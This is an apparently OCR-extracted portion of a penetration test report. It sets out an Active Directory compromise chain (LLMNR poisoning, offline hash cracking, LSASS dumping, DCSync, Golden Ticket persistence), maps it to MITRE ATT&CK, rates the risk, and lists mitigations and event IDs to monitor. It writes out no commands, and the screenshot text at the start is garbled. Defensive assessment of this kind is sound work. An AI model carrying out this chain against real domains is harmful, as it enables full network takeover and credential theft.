BN Administrator: Command Prompt

Windows 10 Enterprise Evaluatic
Windows License valid for 86 da
Build 15041.vb_release.191206-141

ENG _5:.13 P.M. il

O Type here to search 3t o A~ G B2 )

The injected Kerberos ticket reflects the username esistdini and demonstrates an extended validity period from 2026
to 2036, confirming the successful creation and injection of the Golden Ticket.
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Risk Rating

Overall Risk Level: Critical

Risk Summary :

The assessment demonstrated that a single compromised domain user account could resultin full Active Directory
compromise.

Key Risk Factors Identified:

1.LLMNR Enabled:

* Enabled credential capture through network poisoning.
* Risk: High

2. Weak Password Security
* NTLMV2 hash successfully cracked offline.
*Risk: High

3. Excessive Privileges
* Domain user possessed local administrative privileges.
* Risk: High

4. Credential Exposure in LSASS
* Domain Administrator credentials were retrievable in plaintext.
* Risk: Critical

5. Active Directory Replication Abuse
* DCSync allowed extraction of all domain password hashes.
* Risk: Critical

6. Golden Ticket Persistence
* Forged Kerberos tickets valid for 10 years demonstrated long-term persistence.
* Risk: Critical

Business Impact:

If exploited by a malicious actor, the vulnerabilities identified could result in:
* Complete domain takeover

* Full compromise of all useraccounts

» Unauthorized access to sensitive data

* Ransomware deployment across the enterprise

* Long-term undetectable persistence

* Loss of business continuity

The attack required no exploitation of software vulnerabilities, only misconfigurations and weak security controls.
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MITRE ATT8CK Mapping

Attackname : LLMNR Poisoning:

Category: Network based Credential Interception
MITREID : T1557.001

Attack Name : Offline Password Cracking
Category: Credential access
MITREID : T1110.002

Attack Name : SMB Service Execution
Category: Lateral Movement
MITREID : T1021.002

Attack Name : Active Directory Enumeration (Domain account and groups)
Category: Discovery
MITREID : T1087 and T1069

Attack Name : LSASS Memory Credential Dumping
Category: Credential access
MITREID : T1003.001

AttackName : Golden Ticket
Category: Persistence
MITREID : T1558.001

Attack Name : Pass-the-Ticket

Category: Lateral Movement
MITREID : T1550.003
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Mitigation

LLMNR Poisoning:

* Disable LLMNR via Group Policy

* Disable NetBIOS over TCP/IP

* Enable SMB Signing (prevents relay attacks)

* Deploy networkintrusion detection to detect Responder-like activity
* Implement DNS-only name resolution policy

NTLMv2 Hash Capture:

* Disable NTLM where possible

* Enforce NTLMv2 only (already default, but confirm)
* Enable Extended Protection for Authentication

SMB Lateral Movement:

* Remove domain users from local Administrators group
* Implement Privileged Access Workstations (PAW)

* Enable SMB signing on all endpoints

* Disable administrative shares if not required

* Restrict remote service creation via firewall rules

» Monitor Event ID 7045 (Service creation)

LSASS Credential Dumping:

* Enable Credential Guard

* Enable LSASS Protection (RunAsPPL)
* Disable WDigest

DCSync:

* Audit accounts with Replication privileges

* Limit DCSync rights strictly to Domain Controllers
* Monitor Event ID 4662 (Directory replication)

Goldent Ticket:

* Rotate krbtgt password twice

* Rotate krbtgt periodically

¢ Limit Domain Admin logins to DC only

* Monitor unusual TGT lifetimes

* Monitor abnormal Kerberos encryption types (RC4 usage)

Pass The Ticket:

*Limit ticket lifetime

* Restrict delegation

* Monitor abnormal Kerberos ticket requests
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